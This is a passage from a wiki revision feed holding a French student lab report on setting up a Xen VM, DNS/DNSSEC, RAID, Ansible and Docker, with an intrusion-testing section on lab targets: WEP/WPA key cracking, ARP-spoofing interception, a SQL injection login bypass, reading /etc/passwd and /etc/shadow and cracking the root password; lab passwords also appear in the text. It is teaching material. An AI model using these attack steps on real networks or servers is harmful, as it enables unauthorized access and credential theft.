Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des containeurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépot sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55171</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55171"/>
				<updated>2020-12-22T14:26:33Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Création du conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des containeurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55170</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55170"/>
				<updated>2020-12-22T14:22:49Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Création du conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
